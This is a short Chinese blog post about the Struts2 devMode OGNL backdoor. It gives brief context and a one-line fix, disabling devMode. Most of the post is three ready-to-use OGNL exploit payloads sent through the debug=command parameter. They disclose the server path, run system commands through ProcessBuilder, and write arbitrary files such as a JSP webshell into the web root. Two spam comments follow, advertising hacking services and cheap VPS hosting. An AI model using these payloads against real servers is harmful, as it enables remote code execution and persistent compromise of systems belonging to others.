Struts2开发模式下“最新漏洞”

yzmm
661 阅读
Struts 2 Devmode: An OGNL Backdoor (Struts2 开发模式:一个OGNL后门)。这个漏洞必须Web应用开启开发模式,在struts.xml需要配置:<constant name="struts.devMode" value="true" />这一行配置一般会在项目开发或未上线的时候用,所以利用价值不高。

漏洞利用详情在老外的文章也有了,这个漏洞应该不会让各位加班吧线上根本就不应该有开启开发模式的。修复方案很简单,删除开发模式那行代码就行了。好了大家好好过年吧。

debug=command&expression=#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),
#f.setAccessible(true),
#f.set(#_memberAccess,true),
#req=@org.apache.struts2.ServletActionContext@getRequest(),
#resp=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#resp.println(#req.getRealPath("/")),
%23resp.close()
debug=command&expression=#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),
#f.setAccessible(true),
#f.set(#_memberAccess,true),
#req=@org.apache.struts2.ServletActionContext@getRequest(),
#resp=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'netstat','-an'})).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[1000],
#d.read(#e),
#resp.println(#e),
#resp.close()
debug=command&expression=%23f=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23f.setAccessible(true),%23f.set(%23_memberAccess,true%29,%23req=@org.apache.struts2.ServletActionContext@getRequest%28%29,%23resp=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23p%3d%23req.getRealPath(%22/%22)%2b%23req.getParameter(%22f%22),
%23s%3dnew+java.io.RandomAccessFile(%23p,%22rw%22),%23s.write(%23req.getParameter(%22c%22).getBytes()),%23s.close(),
%23resp.println(%23p%3d%23req.getRealPath(%22/%22)),%23resp.close()&f=文件.jsp&c=内容

评论 (2)

z7y
我是z7y嘿铲牛,园长狗,我们一起来做嘿铲吧。详询QQ admin@z7ys.com
mujj
各位刚放假的同学们,80host的小霸王学习机上线了 <p>超便宜的价格,低延迟的网络,稳定的环境,是新手练手、VPN服务等用途的好机型,机房为北美亚利桑那州和欧盟荷兰,演示IP:198.35.44.254(北美)192.243.126.2(荷兰),付款后手工开通,有控制面板,不提供任何管理服务,可随时迁移节点,迁移后联系客服获取新IP地址. </p> <p>¥50 元 /年</p> <p>CPU: 单核</p> <p>硬盘: 3 GB</p> <p>内存: 128 MB</p> <p>IP: 1 个IPv4</p> <p>每月流量: 300 GB</p> <p>免费节点迁移</p> <p>额外IP: 不支持</p> <p>TUN/TAP: 支持</p> <p>RDNS:支持</p> <p>仅支持linux系统,windows就不要问了,没有。 </p> <p>购买联系QQ:4600897 http://www.80host.com/cloud.html </p> <p>注意事项:禁止使用购买VPS主机做免费空间、黑客、BT/PT、恶意压力测试、政治性、垃圾邮件、攻击、恶意发包、病毒/木马散发、端口扫描、版权纠纷、钓鱼、SF游戏发布于网络或者租用给第三方等一切非正常行为。 </p> <p>VPN服务只能私用。 </p> <p>我方有权利在不通知用户的情况下,对非正常使用或运行的VPS主机实施以下的措施: </p> <p>1.清空路由24小时 </p> <p>2.停止VPS </p> <p>3.删除VPS</p>

发表评论